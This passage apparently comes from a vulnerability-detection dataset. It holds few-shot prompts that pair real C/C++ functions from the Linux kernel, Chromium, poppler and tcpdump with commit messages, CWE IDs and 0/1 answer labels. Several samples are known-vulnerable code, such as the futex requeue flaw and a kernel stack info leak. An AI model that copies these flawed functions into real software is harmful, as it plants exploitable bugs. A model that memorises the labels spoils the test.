platform/chromium/support/WebRTCVoidRequest.cpp: Removed. * platform/mediastream/RTCPeerConnectionHandler.cpp: (RTCPeerConnectionHandlerDummy): (WebCore::RTCPeerConnectionHandlerDummy::RTCPeerConnectionHandlerDummy): * platform/mediastream/RTCPeerConnectionHandler.h: (WebCore): (WebCore::RTCPeerConnectionHandler::~RTCPeerConnectionHandler): (RTCPeerConnectionHandler): (WebCore::RTCPeerConnectionHandler::RTCPeerConnectionHandler): * platform/mediastream/RTCVoidRequest.h: Removed. * platform/mediastream/chromium/RTCPeerConnectionHandlerChromium.cpp: * platform/mediastream/chromium/RTCPeerConnectionHandlerChromium.h: (RTCPeerConnectionHandlerChromium): Tools: * DumpRenderTree/chromium/MockWebRTCPeerConnectionHandler.cpp: (MockWebRTCPeerConnectionHandler::SuccessCallbackTask::SuccessCallbackTask): (MockWebRTCPeerConnectionHandler::SuccessCallbackTask::runIfValid): (MockWebRTCPeerConnectionHandler::FailureCallbackTask::FailureCallbackTask): (MockWebRTCPeerConnectionHandler::FailureCallbackTask::runIfValid): (MockWebRTCPeerConnectionHandler::createOffer): * DumpRenderTree/chromium/MockWebRTCPeerConnectionHandler.h: (MockWebRTCPeerConnectionHandler): (SuccessCallbackTask): (FailureCallbackTask): LayoutTests: * fast/mediastream/RTCPeerConnection-createOffer.html: * fast/mediastream/RTCPeerConnection-localDescription-expected.txt: Removed. * fast/mediastream/RTCPeerConnection-localDescription.html: Removed. * fast/mediastream/RTCPeerConnection-remoteDescription-expected.txt: Removed. * fast/mediastream/RTCPeerConnection-remoteDescription.html: Removed. git-svn-id: svn://svn.chromium.org/blink/trunk@127679 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: CWE-20 Target: 1 Example 2: Code: void JBIG2Stream::readSegments() { Guint segNum, segFlags, segType, page, segLength; Guint refFlags, nRefSegs; Guint *refSegs; int segDataPos; int c1, c2, c3; Guint i; while (readULong(&segNum)) { if (!readUByte(&segFlags)) { goto eofError1; } segType = segFlags & 0x3f; if (!readUByte(&refFlags)) { goto eofError1; } nRefSegs = refFlags >> 5; if (nRefSegs == 7) { if ((c1 = curStr->getChar()) == EOF || (c2 = curStr->getChar()) == EOF || (c3 = curStr->getChar()) == EOF) { goto eofError1; } refFlags = (refFlags << 24) | (c1 << 16) | (c2 << 8) | c3; nRefSegs = refFlags & 0x1fffffff; for (i = 0; i < (nRefSegs + 9) >> 3; ++i) { c1 = curStr->getChar(); } } refSegs = (Guint *)gmallocn(nRefSegs, sizeof(Guint)); if (segNum <= 256) { for (i = 0; i < nRefSegs; ++i) { if (!readUByte(&refSegs[i])) { goto eofError2; } } } else if (segNum <= 65536) { for (i = 0; i < nRefSegs; ++i) { if (!readUWord(&refSegs[i])) { goto eofError2; } } } else { for (i = 0; i < nRefSegs; ++i) { if (!readULong(&refSegs[i])) { goto eofError2; } } } if (segFlags & 0x40) { if (!readULong(&page)) { goto eofError2; } } else { if (!readUByte(&page)) { goto eofError2; } } if (!readULong(&segLength)) { goto eofError2; } segDataPos = getPos(); switch (segType) { case 0: if (!readSymbolDictSeg(segNum, segLength, refSegs, nRefSegs)) { goto syntaxError; } break; case 4: readTextRegionSeg(segNum, gFalse, gFalse, segLength, refSegs, nRefSegs); break; case 6: readTextRegionSeg(segNum, gTrue, gFalse, segLength, refSegs, nRefSegs); break; case 7: readTextRegionSeg(segNum, gTrue, gTrue, segLength, refSegs, nRefSegs); break; case 16: readPatternDictSeg(segNum, segLength); break; case 20: readHalftoneRegionSeg(segNum, gFalse, gFalse, segLength, refSegs, nRefSegs); break; case 22: readHalftoneRegionSeg(segNum, gTrue, gFalse, segLength, refSegs, nRefSegs); break; case 23: readHalftoneRegionSeg(segNum, gTrue, gTrue, segLength, refSegs, nRefSegs); break; case 36: readGenericRegionSeg(segNum, gFalse, gFalse, segLength); break; case 38: readGenericRegionSeg(segNum, gTrue, gFalse, segLength); break; case 39: readGenericRegionSeg(segNum, gTrue, gTrue, segLength); break; case 40: readGenericRefinementRegionSeg(segNum, gFalse, gFalse, segLength, refSegs, nRefSegs); break; case 42: readGenericRefinementRegionSeg(segNum, gTrue, gFalse, segLength, refSegs, nRefSegs); break; case 43: readGenericRefinementRegionSeg(segNum, gTrue, gTrue, segLength, refSegs, nRefSegs); break; case 48: readPageInfoSeg(segLength); break; case 50: readEndOfStripeSeg(segLength); break; case 52: readProfilesSeg(segLength); break; case 53: readCodeTableSeg(segNum, segLength); break; case 62: readExtensionSeg(segLength); break; default: error(getPos(), "Unknown segment type in JBIG2 stream"); for (i = 0; i < segLength; ++i) { if ((c1 = curStr->getChar()) == EOF) { goto eofError2; } } break; } if (segLength != 0xffffffff) { int segExtraBytes = segDataPos + segLength - getPos(); if (segExtraBytes > 0) { error(getPos(), "%d extraneous byte%s after segment", segExtraBytes, (segExtraBytes > 1) ? "s" : ""); int trash; for (int i = segExtraBytes; i > 0; i--) { readByte(&trash); } } else if (segExtraBytes < 0) { error(getPos(), "Previous segment handler read too many bytes"); } } gfree(refSegs); } return; syntaxError: gfree(refSegs); return; eofError2: gfree(refSegs); eofError1: error(getPos(), "Unexpected EOF in JBIG2 stream"); } Commit Message: CWE ID: CWE-189 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: qedi_dbg_notice(struct qedi_dbg_ctx *qedi, const char *func, u32 line, const char *fmt, ...) { va_list va; struct va_format vaf; char nfunc[32]; memset(nfunc, 0, sizeof(nfunc)); memcpy(nfunc, func, sizeof(nfunc) - 1); va_start(va, fmt); vaf.fmt = fmt; vaf.va = &va; if (!(qedi_dbg_log & QEDI_LOG_NOTICE)) goto ret; if (likely(qedi) && likely(qedi->pdev)) pr_notice("[%s]:[%s:%d]:%d: %pV", dev_name(&qedi->pdev->dev), nfunc, line, qedi->host_no, &vaf); else pr_notice("[0000:00:00.0]:[%s:%d]: %pV", nfunc, line, &vaf); ret: va_end(va); } Commit Message: scsi: qedi: remove memset/memcpy to nfunc and use func instead KASAN reports this: BUG: KASAN: global-out-of-bounds in qedi_dbg_err+0xda/0x330 [qedi] Read of size 31 at addr ffffffffc12b0ae0 by task syz-executor.0/2429 CPU: 0 PID: 2429 Comm: syz-executor.0 Not tainted 5.0.0-rc7+ #45 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014 Call Trace: __dump_stack lib/dump_stack.c:77 [inline] dump_stack+0xfa/0x1ce lib/dump_stack.c:113 print_address_description+0x1c4/0x270 mm/kasan/report.c:187 kasan_report+0x149/0x18d mm/kasan/report.c:317 memcpy+0x1f/0x50 mm/kasan/common.c:130 qedi_dbg_err+0xda/0x330 [qedi] ? 0xffffffffc12d0000 qedi_init+0x118/0x1000 [qedi] ? 0xffffffffc12d0000 ? 0xffffffffc12d0000 ? 0xffffffffc12d0000 do_one_initcall+0xfa/0x5ca init/main.c:887 do_init_module+0x204/0x5f6 kernel/module.c:3460 load_module+0x66b2/0x8570 kernel/module.c:3808 __do_sys_finit_module+0x238/0x2a0 kernel/module.c:3902 do_syscall_64+0x147/0x600 arch/x86/entry/common.c:290 entry_SYSCALL_64_after_hwframe+0x49/0xbe RIP: 0033:0x462e99 Code: f7 d8 64 89 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f2d57e55c58 EFLAGS: 00000246 ORIG_RAX: 0000000000000139 RAX: ffffffffffffffda RBX: 000000000073bfa0 RCX: 0000000000462e99 RDX: 0000000000000000 RSI: 00000000200003c0 RDI: 0000000000000003 RBP: 00007f2d57e55c70 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 00007f2d57e566bc R13: 00000000004bcefb R14: 00000000006f7030 R15: 0000000000000004 The buggy address belongs to the variable: __func__.67584+0x0/0xffffffffffffd520 [qedi] Memory state around the buggy address: ffffffffc12b0980: fa fa fa fa 00 04 fa fa fa fa fa fa 00 00 05 fa ffffffffc12b0a00: fa fa fa fa 00 00 04 fa fa fa fa fa 00 05 fa fa > ffffffffc12b0a80: fa fa fa fa 00 06 fa fa fa fa fa fa 00 02 fa fa ^ ffffffffc12b0b00: fa fa fa fa 00 00 04 fa fa fa fa fa 00 00 03 fa ffffffffc12b0b80: fa fa fa fa 00 00 02 fa fa fa fa fa 00 00 04 fa Currently the qedi_dbg_* family of functions can overrun the end of the source string if it is less than the destination buffer length because of the use of a fixed sized memcpy. Remove the memset/memcpy calls to nfunc and just use func instead as it is always a null terminated string. Reported-by: Hulk Robot <[email protected]> Fixes: ace7f46ba5fd ("scsi: qedi: Add QLogic FastLinQ offload iSCSI driver framework.") Signed-off-by: YueHaibing <[email protected]> Reviewed-by: Dan Carpenter <[email protected]> Signed-off-by: Martin K. Petersen <[email protected]> CWE ID: CWE-125 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: static int futex_requeue(u32 __user *uaddr1, unsigned int flags, u32 __user *uaddr2, int nr_wake, int nr_requeue, u32 *cmpval, int requeue_pi) { union futex_key key1 = FUTEX_KEY_INIT, key2 = FUTEX_KEY_INIT; int drop_count = 0, task_count = 0, ret; struct futex_pi_state *pi_state = NULL; struct futex_hash_bucket *hb1, *hb2; struct futex_q *this, *next; if (requeue_pi) { /* * requeue_pi requires a pi_state, try to allocate it now * without any locks in case it fails. */ if (refill_pi_state_cache()) return -ENOMEM; /* * requeue_pi must wake as many tasks as it can, up to nr_wake * + nr_requeue, since it acquires the rt_mutex prior to * returning to userspace, so as to not leave the rt_mutex with * waiters and no owner. However, second and third wake-ups * cannot be predicted as they involve race conditions with the * first wake and a fault while looking up the pi_state. Both * pthread_cond_signal() and pthread_cond_broadcast() should * use nr_wake=1. */ if (nr_wake != 1) return -EINVAL; } retry: if (pi_state != NULL) { /* * We will have to lookup the pi_state again, so free this one * to keep the accounting correct. */ free_pi_state(pi_state); pi_state = NULL; } ret = get_futex_key(uaddr1, flags & FLAGS_SHARED, &key1, VERIFY_READ); if (unlikely(ret != 0)) goto out; ret = get_futex_key(uaddr2, flags & FLAGS_SHARED, &key2, requeue_pi ? VERIFY_WRITE : VERIFY_READ); if (unlikely(ret != 0)) goto out_put_key1; hb1 = hash_futex(&key1); hb2 = hash_futex(&key2); retry_private: hb_waiters_inc(hb2); double_lock_hb(hb1, hb2); if (likely(cmpval != NULL)) { u32 curval; ret = get_futex_value_locked(&curval, uaddr1); if (unlikely(ret)) { double_unlock_hb(hb1, hb2); hb_waiters_dec(hb2); ret = get_user(curval, uaddr1); if (ret) goto out_put_keys; if (!(flags & FLAGS_SHARED)) goto retry_private; put_futex_key(&key2); put_futex_key(&key1); goto retry; } if (curval != *cmpval) { ret = -EAGAIN; goto out_unlock; } } if (requeue_pi && (task_count - nr_wake < nr_requeue)) { /* * Attempt to acquire uaddr2 and wake the top waiter. If we * intend to requeue waiters, force setting the FUTEX_WAITERS * bit. We force this here where we are able to easily handle * faults rather in the requeue loop below. */ ret = futex_proxy_trylock_atomic(uaddr2, hb1, hb2, &key1, &key2, &pi_state, nr_requeue); /* * At this point the top_waiter has either taken uaddr2 or is * waiting on it. If the former, then the pi_state will not * exist yet, look it up one more time to ensure we have a * reference to it. If the lock was taken, ret contains the * vpid of the top waiter task. */ if (ret > 0) { WARN_ON(pi_state); drop_count++; task_count++; /* * If we acquired the lock, then the user * space value of uaddr2 should be vpid. It * cannot be changed by the top waiter as it * is blocked on hb2 lock if it tries to do * so. If something fiddled with it behind our * back the pi state lookup might unearth * it. So we rather use the known value than * rereading and handing potential crap to * lookup_pi_state. */ ret = lookup_pi_state(ret, hb2, &key2, &pi_state, NULL); } switch (ret) { case 0: break; case -EFAULT: double_unlock_hb(hb1, hb2); hb_waiters_dec(hb2); put_futex_key(&key2); put_futex_key(&key1); ret = fault_in_user_writeable(uaddr2); if (!ret) goto retry; goto out; case -EAGAIN: /* The owner was exiting, try again. */ double_unlock_hb(hb1, hb2); hb_waiters_dec(hb2); put_futex_key(&key2); put_futex_key(&key1); cond_resched(); goto retry; default: goto out_unlock; } } plist_for_each_entry_safe(this, next, &hb1->chain, list) { if (task_count - nr_wake >= nr_requeue) break; if (!match_futex(&this->key, &key1)) continue; /* * FUTEX_WAIT_REQEUE_PI and FUTEX_CMP_REQUEUE_PI should always * be paired with each other and no other futex ops. * * We should never be requeueing a futex_q with a pi_state, * which is awaiting a futex_unlock_pi(). */ if ((requeue_pi && !this->rt_waiter) || (!requeue_pi && this->rt_waiter) || this->pi_state) { ret = -EINVAL; break; } /* * Wake nr_wake waiters. For requeue_pi, if we acquired the * lock, we already woke the top_waiter. If not, it will be * woken by futex_unlock_pi(). */ if (++task_count <= nr_wake && !requeue_pi) { wake_futex(this); continue; } /* Ensure we requeue to the expected futex for requeue_pi. */ if (requeue_pi && !match_futex(this->requeue_pi_key, &key2)) { ret = -EINVAL; break; } /* * Requeue nr_requeue waiters and possibly one more in the case * of requeue_pi if we couldn't acquire the lock atomically. */ if (requeue_pi) { /* Prepare the waiter to take the rt_mutex. */ atomic_inc(&pi_state->refcount); this->pi_state = pi_state; ret = rt_mutex_start_proxy_lock(&pi_state->pi_mutex, this->rt_waiter, this->task, 1); if (ret == 1) { /* We got the lock. */ requeue_pi_wake_futex(this, &key2, hb2); drop_count++; continue; } else if (ret) { /* -EDEADLK */ this->pi_state = NULL; free_pi_state(pi_state); goto out_unlock; } } requeue_futex(this, hb1, hb2, &key2); drop_count++; } out_unlock: double_unlock_hb(hb1, hb2); hb_waiters_dec(hb2); /* * drop_futex_key_refs() must be called outside the spinlocks. During * the requeue we moved futex_q's from the hash bucket at key1 to the * one at key2 and updated their key pointer. We no longer need to * hold the references to key1. */ while (--drop_count >= 0) drop_futex_key_refs(&key1); out_put_keys: put_futex_key(&key2); out_put_key1: put_futex_key(&key1); out: if (pi_state != NULL) free_pi_state(pi_state); return ret ? ret : task_count; } Commit Message: futex-prevent-requeue-pi-on-same-futex.patch futex: Forbid uaddr == uaddr2 in futex_requeue(..., requeue_pi=1) If uaddr == uaddr2, then we have broken the rule of only requeueing from a non-pi futex to a pi futex with this call. If we attempt this, then dangling pointers may be left for rt_waiter resulting in an exploitable condition. This change brings futex_requeue() in line with futex_wait_requeue_pi() which performs the same check as per commit 6f7b0a2a5c0f ("futex: Forbid uaddr == uaddr2 in futex_wait_requeue_pi()") [ tglx: Compare the resulting keys as well, as uaddrs might be different depending on the mapping ] Fixes CVE-2014-3153. Reported-by: Pinkie Pie Signed-off-by: Will Drewry <[email protected]> Signed-off-by: Kees Cook <[email protected]> Cc: [email protected] Signed-off-by: Thomas Gleixner <[email protected]> Reviewed-by: Darren Hart <[email protected]> Signed-off-by: Linus Torvalds <[email protected]> CWE ID: CWE-264 Target: 1 Example 2: Code: bool WebContentsImpl::WasRecentlyAudible() { return audio_stream_monitor_.WasRecentlyAudible(); } Commit Message: Don't call WebContents::DownloadImage() callback if the WebContents were deleted BUG=583718 Review URL: https://codereview.chromium.org/1685343004 Cr-Commit-Position: refs/heads/master@{#375700} CWE ID: Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static int copy_to_user_tmpl(struct xfrm_policy *xp, struct sk_buff *skb) { struct xfrm_user_tmpl vec[XFRM_MAX_DEPTH]; int i; if (xp->xfrm_nr == 0) return 0; for (i = 0; i < xp->xfrm_nr; i++) { struct xfrm_user_tmpl *up = &vec[i]; struct xfrm_tmpl *kp = &xp->xfrm_vec[i]; memcpy(&up->id, &kp->id, sizeof(up->id)); up->family = kp->encap_family; memcpy(&up->saddr, &kp->saddr, sizeof(up->saddr)); up->reqid = kp->reqid; up->mode = kp->mode; up->share = kp->share; up->optional = kp->optional; up->aalgos = kp->aalgos; up->ealgos = kp->ealgos; up->calgos = kp->calgos; } return nla_put(skb, XFRMA_TMPL, sizeof(struct xfrm_user_tmpl) * xp->xfrm_nr, vec); } Commit Message: xfrm_user: fix info leak in copy_to_user_tmpl() The memory used for the template copy is a local stack variable. As struct xfrm_user_tmpl contains multiple holes added by the compiler for alignment, not initializing the memory will lead to leaking stack bytes to userland. Add an explicit memset(0) to avoid the info leak. Initial version of the patch by Brad Spengler. Cc: Brad Spengler <[email protected]> Signed-off-by: Mathias Krause <[email protected]> Acked-by: Steffen Klassert <[email protected]> Signed-off-by: David S. Miller <[email protected]> CWE ID: CWE-200 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: static __u8 *lg_report_fixup(struct hid_device *hdev, __u8 *rdesc, unsigned int *rsize) { struct lg_drv_data *drv_data = hid_get_drvdata(hdev); struct usb_device_descriptor *udesc; __u16 bcdDevice, rev_maj, rev_min; if ((drv_data->quirks & LG_RDESC) && *rsize >= 90 && rdesc[83] == 0x26 && rdesc[84] == 0x8c && rdesc[85] == 0x02) { hid_info(hdev, "fixing up Logitech keyboard report descriptor\n"); rdesc[84] = rdesc[89] = 0x4d; rdesc[85] = rdesc[90] = 0x10; } if ((drv_data->quirks & LG_RDESC_REL_ABS) && *rsize >= 50 && rdesc[32] == 0x81 && rdesc[33] == 0x06 && rdesc[49] == 0x81 && rdesc[50] == 0x06) { hid_info(hdev, "fixing up rel/abs in Logitech report descriptor\n"); rdesc[33] = rdesc[50] = 0x02; } switch (hdev->product) { /* Several wheels report as this id when operating in emulation mode. */ case USB_DEVICE_ID_LOGITECH_WHEEL: udesc = &(hid_to_usb_dev(hdev)->descriptor); if (!udesc) { hid_err(hdev, "NULL USB device descriptor\n"); break; } bcdDevice = le16_to_cpu(udesc->bcdDevice); rev_maj = bcdDevice >> 8; rev_min = bcdDevice & 0xff; /* Update the report descriptor for only the Driving Force wheel */ if (rev_maj == 1 && rev_min == 2 && *rsize == DF_RDESC_ORIG_SIZE) { hid_info(hdev, "fixing up Logitech Driving Force report descriptor\n"); rdesc = df_rdesc_fixed; *rsize = sizeof(df_rdesc_fixed); } break; case USB_DEVICE_ID_LOGITECH_MOMO_WHEEL: if (*rsize == MOMO_RDESC_ORIG_SIZE) { hid_info(hdev, "fixing up Logitech Momo Force (Red) report descriptor\n"); rdesc = momo_rdesc_fixed; *rsize = sizeof(momo_rdesc_fixed); } break; case USB_DEVICE_ID_LOGITECH_MOMO_WHEEL2: if (*rsize == MOMO2_RDESC_ORIG_SIZE) { hid_info(hdev, "fixing up Logitech Momo Racing Force (Black) report descriptor\n"); rdesc = momo2_rdesc_fixed; *rsize = sizeof(momo2_rdesc_fixed); } break; case USB_DEVICE_ID_LOGITECH_VIBRATION_WHEEL: if (*rsize == FV_RDESC_ORIG_SIZE) { hid_info(hdev, "fixing up Logitech Formula Vibration report descriptor\n"); rdesc = fv_rdesc_fixed; *rsize = sizeof(fv_rdesc_fixed); } break; case USB_DEVICE_ID_LOGITECH_DFP_WHEEL: if (*rsize == DFP_RDESC_ORIG_SIZE) { hid_info(hdev, "fixing up Logitech Driving Force Pro report descriptor\n"); rdesc = dfp_rdesc_fixed; *rsize = sizeof(dfp_rdesc_fixed); } break; case USB_DEVICE_ID_LOGITECH_WII_WHEEL: if (*rsize >= 101 && rdesc[41] == 0x95 && rdesc[42] == 0x0B && rdesc[47] == 0x05 && rdesc[48] == 0x09) { hid_info(hdev, "fixing up Logitech Speed Force Wireless report descriptor\n"); rdesc[41] = 0x05; rdesc[42] = 0x09; rdesc[47] = 0x95; rdesc[48] = 0x0B; } break; } return rdesc; } Commit Message: HID: fix a couple of off-by-ones There are a few very theoretical off-by-one bugs in report descriptor size checking when performing a pre-parsing fixup. Fix those. Cc: [email protected] Reported-by: Ben Hawkes <[email protected]> Reviewed-by: Benjamin Tissoires <[email protected]> Signed-off-by: Jiri Kosina <[email protected]> CWE ID: CWE-119 Target: 1 Example 2: Code: hook_info (struct t_weechat_plugin *plugin, const char *info_name, const char *description, const char *args_description, t_hook_callback_info *callback, void *callback_data) { struct t_hook *new_hook; struct t_hook_info *new_hook_info; int priority; const char *ptr_info_name; if (!info_name || !info_name[0] || !callback) return NULL; new_hook = malloc (sizeof (*new_hook)); if (!new_hook) return NULL; new_hook_info = malloc (sizeof (*new_hook_info)); if (!new_hook_info) { free (new_hook); return NULL; } hook_get_priority_and_name (info_name, &priority, &ptr_info_name); hook_init_data (new_hook, plugin, HOOK_TYPE_INFO, priority, callback_data); new_hook->hook_data = new_hook_info; new_hook_info->callback = callback; new_hook_info->info_name = strdup ((ptr_info_name) ? ptr_info_name : info_name); new_hook_info->description = strdup ((description) ? description : ""); new_hook_info->args_description = strdup ((args_description) ? args_description : ""); hook_add_to_list (new_hook); return new_hook; } Commit Message: CWE ID: CWE-20 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static SandboxSymbolizeHelper* GetInstance() { return Singleton<SandboxSymbolizeHelper>::get(); } Commit Message: Convert ARRAYSIZE_UNSAFE -> arraysize in base/. [email protected] BUG=423134 Review URL: https://codereview.chromium.org/656033009 Cr-Commit-Position: refs/heads/master@{#299835} CWE ID: CWE-189 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: ~SessionRestoreImpl() { STLDeleteElements(&windows_); CHECK(profiles_getting_restored); CHECK(profiles_getting_restored->find(profile_) != profiles_getting_restored->end()); profiles_getting_restored->erase(profile_); if (profiles_getting_restored->empty()) { delete profiles_getting_restored; profiles_getting_restored = NULL; } g_browser_process->ReleaseModule(); } Commit Message: Lands http://codereview.chromium.org/9316065/ for Marja. I reviewed this, so I'm using TBR to land it. Don't crash if multiple SessionRestoreImpl:s refer to the same Profile. It shouldn't ever happen but it seems to happen anyway. BUG=111238 TEST=NONE [email protected] [email protected] Review URL: https://chromiumcodereview.appspot.com/9343005 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@120648 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-119 Target: 1 Example 2: Code: void HeapObjectHeader::ZapMagic() { CheckHeader(); magic_ = kZappedMagic; } Commit Message: [oilpan] Fix GCInfoTable for multiple threads Previously, grow and access from different threads could lead to a race on the table backing; see bug. - Rework the table to work on an existing reservation. - Commit upon growing, avoiding any copies. Drive-by: Fix over-allocation of table. Bug: chromium:841280 Change-Id: I329cb6f40091e14e8c05334ba1104a9440c31d43 Reviewed-on: https://chromium-review.googlesource.com/1061525 Commit-Queue: Michael Lippautz <[email protected]> Reviewed-by: Kentaro Hara <[email protected]> Cr-Commit-Position: refs/heads/master@{#560434} CWE ID: CWE-362 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: icmp6_print(netdissect_options *ndo, const u_char *bp, u_int length, const u_char *bp2, int fragmented) { const struct icmp6_hdr *dp; const struct ip6_hdr *ip; const struct ip6_hdr *oip; const struct udphdr *ouh; int dport; const u_char *ep; u_int prot; dp = (const struct icmp6_hdr *)bp; ip = (const struct ip6_hdr *)bp2; oip = (const struct ip6_hdr *)(dp + 1); /* 'ep' points to the end of available data. */ ep = ndo->ndo_snapend; ND_TCHECK(dp->icmp6_cksum); if (ndo->ndo_vflag && !fragmented) { uint16_t sum, udp_sum; if (ND_TTEST2(bp[0], length)) { udp_sum = EXTRACT_16BITS(&dp->icmp6_cksum); sum = icmp6_cksum(ndo, ip, dp, length); if (sum != 0) ND_PRINT((ndo,"[bad icmp6 cksum 0x%04x -> 0x%04x!] ", udp_sum, in_cksum_shouldbe(udp_sum, sum))); else ND_PRINT((ndo,"[icmp6 sum ok] ")); } } ND_PRINT((ndo,"ICMP6, %s", tok2str(icmp6_type_values,"unknown icmp6 type (%u)",dp->icmp6_type))); /* display cosmetics: print the packet length for printer that use the vflag now */ if (ndo->ndo_vflag && (dp->icmp6_type == ND_ROUTER_SOLICIT || dp->icmp6_type == ND_ROUTER_ADVERT || dp->icmp6_type == ND_NEIGHBOR_ADVERT || dp->icmp6_type == ND_NEIGHBOR_SOLICIT || dp->icmp6_type == ND_REDIRECT || dp->icmp6_type == ICMP6_HADISCOV_REPLY || dp->icmp6_type == ICMP6_MOBILEPREFIX_ADVERT )) ND_PRINT((ndo,", length %u", length)); switch (dp->icmp6_type) { case ICMP6_DST_UNREACH: ND_TCHECK(oip->ip6_dst); ND_PRINT((ndo,", %s", tok2str(icmp6_dst_unreach_code_values,"unknown unreach code (%u)",dp->icmp6_code))); switch (dp->icmp6_code) { case ICMP6_DST_UNREACH_NOROUTE: /* fall through */ case ICMP6_DST_UNREACH_ADMIN: case ICMP6_DST_UNREACH_ADDR: ND_PRINT((ndo," %s",ip6addr_string(ndo, &oip->ip6_dst))); break; case ICMP6_DST_UNREACH_BEYONDSCOPE: ND_PRINT((ndo," %s, source address %s", ip6addr_string(ndo, &oip->ip6_dst), ip6addr_string(ndo, &oip->ip6_src))); break; case ICMP6_DST_UNREACH_NOPORT: if ((ouh = get_upperlayer(ndo, (const u_char *)oip, &prot)) == NULL) goto trunc; dport = EXTRACT_16BITS(&ouh->uh_dport); switch (prot) { case IPPROTO_TCP: ND_PRINT((ndo,", %s tcp port %s", ip6addr_string(ndo, &oip->ip6_dst), tcpport_string(ndo, dport))); break; case IPPROTO_UDP: ND_PRINT((ndo,", %s udp port %s", ip6addr_string(ndo, &oip->ip6_dst), udpport_string(ndo, dport))); break; default: ND_PRINT((ndo,", %s protocol %d port %d unreachable", ip6addr_string(ndo, &oip->ip6_dst), oip->ip6_nxt, dport)); break; } break; default: if (ndo->ndo_vflag <= 1) { print_unknown_data(ndo, bp,"\n\t",length); return; } break; } break; case ICMP6_PACKET_TOO_BIG: ND_TCHECK(dp->icmp6_mtu); ND_PRINT((ndo,", mtu %u", EXTRACT_32BITS(&dp->icmp6_mtu))); break; case ICMP6_TIME_EXCEEDED: ND_TCHECK(oip->ip6_dst); switch (dp->icmp6_code) { case ICMP6_TIME_EXCEED_TRANSIT: ND_PRINT((ndo," for %s", ip6addr_string(ndo, &oip->ip6_dst))); break; case ICMP6_TIME_EXCEED_REASSEMBLY: ND_PRINT((ndo," (reassembly)")); break; default: ND_PRINT((ndo,", unknown code (%u)", dp->icmp6_code)); break; } break; case ICMP6_PARAM_PROB: ND_TCHECK(oip->ip6_dst); switch (dp->icmp6_code) { case ICMP6_PARAMPROB_HEADER: ND_PRINT((ndo,", erroneous - octet %u", EXTRACT_32BITS(&dp->icmp6_pptr))); break; case ICMP6_PARAMPROB_NEXTHEADER: ND_PRINT((ndo,", next header - octet %u", EXTRACT_32BITS(&dp->icmp6_pptr))); break; case ICMP6_PARAMPROB_OPTION: ND_PRINT((ndo,", option - octet %u", EXTRACT_32BITS(&dp->icmp6_pptr))); break; default: ND_PRINT((ndo,", code-#%d", dp->icmp6_code)); break; } break; case ICMP6_ECHO_REQUEST: case ICMP6_ECHO_REPLY: ND_TCHECK(dp->icmp6_seq); ND_PRINT((ndo,", seq %u", EXTRACT_16BITS(&dp->icmp6_seq))); break; case ICMP6_MEMBERSHIP_QUERY: if (length == MLD_MINLEN) { mld6_print(ndo, (const u_char *)dp); } else if (length >= MLDV2_MINLEN) { ND_PRINT((ndo," v2")); mldv2_query_print(ndo, (const u_char *)dp, length); } else { ND_PRINT((ndo," unknown-version (len %u) ", length)); } break; case ICMP6_MEMBERSHIP_REPORT: mld6_print(ndo, (const u_char *)dp); break; case ICMP6_MEMBERSHIP_REDUCTION: mld6_print(ndo, (const u_char *)dp); break; case ND_ROUTER_SOLICIT: #define RTSOLLEN 8 if (ndo->ndo_vflag) { icmp6_opt_print(ndo, (const u_char *)dp + RTSOLLEN, length - RTSOLLEN); } break; case ND_ROUTER_ADVERT: #define RTADVLEN 16 if (ndo->ndo_vflag) { const struct nd_router_advert *p; p = (const struct nd_router_advert *)dp; ND_TCHECK(p->nd_ra_retransmit); ND_PRINT((ndo,"\n\thop limit %u, Flags [%s]" \ ", pref %s, router lifetime %us, reachable time %us, retrans time %us", (u_int)p->nd_ra_curhoplimit, bittok2str(icmp6_opt_ra_flag_values,"none",(p->nd_ra_flags_reserved)), get_rtpref(p->nd_ra_flags_reserved), EXTRACT_16BITS(&p->nd_ra_router_lifetime), EXTRACT_32BITS(&p->nd_ra_reachable), EXTRACT_32BITS(&p->nd_ra_retransmit))); icmp6_opt_print(ndo, (const u_char *)dp + RTADVLEN, length - RTADVLEN); } break; case ND_NEIGHBOR_SOLICIT: { const struct nd_neighbor_solicit *p; p = (const struct nd_neighbor_solicit *)dp; ND_TCHECK(p->nd_ns_target); ND_PRINT((ndo,", who has %s", ip6addr_string(ndo, &p->nd_ns_target))); if (ndo->ndo_vflag) { #define NDSOLLEN 24 icmp6_opt_print(ndo, (const u_char *)dp + NDSOLLEN, length - NDSOLLEN); } } break; case ND_NEIGHBOR_ADVERT: { const struct nd_neighbor_advert *p; p = (const struct nd_neighbor_advert *)dp; ND_TCHECK(p->nd_na_target); ND_PRINT((ndo,", tgt is %s", ip6addr_string(ndo, &p->nd_na_target))); if (ndo->ndo_vflag) { ND_PRINT((ndo,", Flags [%s]", bittok2str(icmp6_nd_na_flag_values, "none", 